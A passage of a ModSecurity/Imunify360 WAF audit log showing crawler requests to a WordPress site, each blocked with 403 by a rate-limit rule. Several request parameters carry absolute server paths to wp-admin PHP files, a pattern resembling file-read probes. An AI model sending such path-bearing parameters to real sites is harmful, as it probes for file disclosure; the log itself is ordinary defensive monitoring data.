Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.251967 +0100","transaction_id":"abPHfVRY1ZHue1KnYxodsQAAAoc","remote_address":"216.73.216.152","remote_port":49146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Foptions.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f602f45a7d8f12de0aee74b2d328e0ff","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4525485"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f602f45a7d8f12de0aee74b2d328e0ff","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/options.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":250,"p2":2682,"p3":0,"p4":0,"p5":499,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.342525 +0100","transaction_id":"abPHfVRY1ZHue1KnYxodsgAAAoc","remote_address":"216.73.216.152","remote_port":49146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fpost.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3c8f5ad41219b1c638e6fabf4584eb60","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4525488"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3c8f5ad41219b1c638e6fabf4584eb60","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/post.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":404,"p2":2875,"p3":0,"p4":0,"p5":488,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.434341 +0100","transaction_id":"abPHfag_lPa2owFZ6_Pi9QAAARg","remote_address":"216.73.216.152","remote_port":49160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fedit-form-advanced.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"629bc9a688dc65c50b1541fb48365dde","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10978335"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"629bc9a688dc65c50b1541fb48365dde","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/edit-form-advanced.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":304,"p2":3019,"p3":0,"p4":0,"p5":489,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.523934 +0100","transaction_id":"abPHfYB2aIMAFdsi8EHm5gAAAsQ","remote_address":"216.73.216.152","remote_port":40854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Ftools.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6411c42a8827998671a37cc67f550def","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2329144"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6411c42a8827998671a37cc67f550def","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/tools.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":225,"p2":2047,"p3":0,"p4":0,"p5":377,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.618441 +0100","transaction_id":"abPHfYB2aIMAFdsi8EHm5wAAAsQ","remote_address":"216.73.216.152","remote_port":40854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fimport.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2ac3f475f46eee3374d4ba66cb401174","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13107944"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2ac3f475f46eee3374d4ba66cb401174","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/import.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":360,"p2":3396,"p3":0,"p4":0,"p5":488,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.707613 +0100","transaction_id":"abPHfbJ190y1fElY11bdkAAAAI4","remote_address":"216.73.216.152","remote_port":50876,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fuser-edit.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aea89b13d0d4b84ee1dd11616bb01043","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13107947"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aea89b13d0d4b84ee1dd11616bb01043","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/user-edit.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":277,"p2":2899,"p3":0,"p4":0,"p5":495,"sr":153,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.803425 +0100","transaction_id":"abPHfVRY1ZHue1KnYxodtAAAAoc","remote_address":"216.73.216.152","remote_port":49146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fms-users.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b76252168e219e67bef89f4b97839adf","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10457055"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b76252168e219e67bef89f4b97839adf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/ms-users.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":341,"p2":3341,"p3":0,"p4":0,"p5":570,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.896544 +0100","transaction_id":"abPHfag_lPa2owFZ6_Pi9wAAARQ","remote_address":"216.73.216.152","remote_port":53454,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fwidgets-form-blocks.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"51feb6dd38d908cbcaa5d19731655cc3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10457058"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"51feb6dd38d908cbcaa5d19731655cc3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/widgets-form-blocks.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":290,"p2":3010,"p3":0,"p4":0,"p5":676,"sr":147,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.995229 +0100","transaction_id":"abPHfag_lPa2owFZ6_Pi-AAAARQ","remote_address":"216.73.216.152","remote_port":53454,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fedit-form-blocks.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6fd9754d6fe6ecaeb75d7018fb70bb3d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6621793"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6fd9754d6fe6ecaeb75d7018fb70bb3d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/edit-form-blocks.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":290,"p2":3061,"p3":0,"p4":0,"p5":500,"sr":160,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.078638 +0100","transaction_id":"abPHfqg_lPa2owFZ6_Pi-wAAARg","remote_address":"216.73.216.152","remote_port":49160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Ftheme-install.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cda1e600cb40056f0796b1675fd420ba","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2329150"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cda1e600cb40056f0796b1675fd420ba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/theme-install.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":316,"p2":3169,"p3":0,"p4":0,"p5":484,"sr":166,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.174379 +0100","transaction_id":"abPHfqg_lPa2owFZ6_Pi_AAAARg","remote_address":"216.73.216.152","remote_port":49160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fms-edit.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e6cdfa9752ac6b479e3e6ffbd487fb15","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2329153"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e6cdfa9752ac6b479e3e6ffbd487fb15","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/ms-edit.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":201,"p2":2070,"p3":0,"p4":0,"p5":440,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:54.266909 +0100","transaction_id":"abPHfqg_lPa2owFZ6_Pi_gAAARg","remote_address":"216.73.216.152","remote_port":49160,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fcustom-background.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5e6674cf4a76edb01fd3d11a6be3bc8f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2329156"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5e6674cf4a76edb01fd3d11a6be3bc8f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/custom-background.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag 